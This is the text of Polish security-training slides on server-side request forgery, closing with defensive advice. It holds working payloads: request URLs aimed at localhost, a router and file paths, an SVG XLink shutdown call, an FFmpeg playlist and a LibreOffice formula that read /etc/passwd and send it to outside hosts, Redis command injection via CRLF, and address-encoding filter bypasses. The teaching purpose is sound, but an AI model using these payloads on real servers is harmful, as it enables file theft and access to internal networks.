Michał Sajdak
Mało znana podatność, występuje względnie często w aplikacjach webowych
Zmuszenie serwera do wykonania komunikacji
pewnym protokołem
Do samego siebie
Do innych serwerów w backendzie
Do innych serwerów/urządzeń w LAN
Do serwera atakującego
Co się stanie jeśli wrzucimy na FB posta z linkiem http://127.0.0.1:21/ ?
Czytanie plików z serwera
Dostęp do LAN
Przejęcie serwera (wykonanie dowolnego kodu)
DoS
Dostęp do normalnie niedostępnych usług sieciowych
NIC :P
GET /get_resource.php?file=http://cdn.sekurak.pl/main.js
GET /get_resource.php?file=http://127.0.0.1:21/
GET /get_resource.php?file=http://admin:admin@192.168.1.1/reboot
GET /get_resource.php?file=telnet://10.0.0.1/
GET /get_resource.php?file=file://etc/passwd
SVG / XLINK
Mechanizm XLink (https://www.w3.org/TR/xlink/) to XML-owy odpowiednik hyperlinków znanych z HTML-a.
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="30" width="30" xlink:href="/lib/plymouth/ubuntu_logo.png" />
<image height="30" width="30" xlink:href="http://127.0.0.1:9555/_shutdown/" />
<text x="0" y="20" font-size="20">test</text>
</svg>
https://hackerone.com/reports/97501:
SVG parser loads external resources on image upload
MP4
FFmpeg wspiera technologię HTTP Live Streaming
HTTP Live Streaming is an HTTP-based media streaming communications protocol implemented by Apple Inc. as part of its QuickTime, Safari, OS X, and iOS software. Client implementations are also available in Microsoft Edge, Firefox and some versions of Google Chrome. Support is widespread in streaming media servers.
www.blackhat.com/docs/us-16/materials/us-16-Ermishkin-Viral-Video-Exploiting-Ssrf-In-Video-Converters.pdf: Exploiting SSRF in video converters (BlackHat USA).
test.mp4 (M3U to format opisujący playlistę)
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://dx.su/header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST
ffmpeg -i test.mp4 -o wynik.avi
Upload pliku mp4
CVE-2018-6871 - podatność w LibreOffice
Remote arbitrary file disclosure vulnerability via WEBSERVICE formula
Plik csv lub xls, w wybranej komórce:
=WEBSERVICE("/etc/passwd")
=WEBSERVICE("http://sekurak.pl/?q=" & WEBSERVICE("/etc/passwd"))
LibreOffice czasem bywa wykorzystywany do konwersji plików
xls / csv / ... na pdf
2 słowa przypomnienia w temacie protokołu HTTP
Istotna ciekawostka - wstrzykiwanie znaków końca linii w URI
Jeśli to się uda - atakujący ma możliwość rozmawiania z niemal każdym protokołem tekstowym (nie tylko HTTP)
Status: Open (21.02.2019)
Actually, the CRLF + space can be injected via percent encoding, so just dealing with literal CRLFs and spaces wouldn’t be enough. You would have to validate the hostname after it is decoded.
urlopen("http://127.0.0.1%0D%0A%20SLAVEOF . . . :6379/")
Jeśli pobieramy zasoby z konkretnego, zewnętrznego adresu (np. z CDN):
Wskażmy jako dozwolony tylko konkretny adres IP/domenę
Czasem to nie jest możliwe (patrz np. Facebook + wall)
Co się stanie jeśli wrzucimy na FB posta z linkiem http://127.0.0.1:21/ ?
A może http://127.1/?
http://0/ ?
Mogę odwołać się do domeny np. 127.sekurak.pl -> ale w DNS mamy: 127.0.0.1
http://[::1]/ ?
No dobrze, użyjmy już normalnej domeny: https://sekurak.pl/redir.php
$ wget https://sekurak.pl/redir.php
--2019-02-20 10:57:37-- https://sekurak.pl/redir.php
Resolving sekurak.pl (sekurak.pl)... 178.32.219.59
Connecting to sekurak.pl (sekurak.pl)|178.32.219.59|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://127.0.0.1 [following]
--2019-02-20 10:57:37-- http://127.0.0.1/
Connecting to 127.0.0.1:80... connected.
HTTP request sent, awaiting response... 403 Forbidden
2019-02-20 10:57:37 ERROR 403: Forbidden.
Bardziej trickowe zapisy adresów IP:
http://2130706433/
http://0177.0000.0000.0001/
http://00000000177.0x1f.20.1/
Mocny whitelisting dopuszczonych zasobów
allow: www.sekurak.pl
jeśli jest traktowany jako regex, to rejestruję wwwXsekurak.pl i robię na nim redirect do 127.0.0.1
Zewnętrzny komponent proxy ze ściśle filtrowanym ruchem na firewallu
Pamiętajmy, że czasem jeśli nie dociągamy zewnętrznych zasobów to ... może jednak dociągamy (XXE, SVG, MP4, XLS, CSV, ...)
Pamiętajmy o przekierowaniach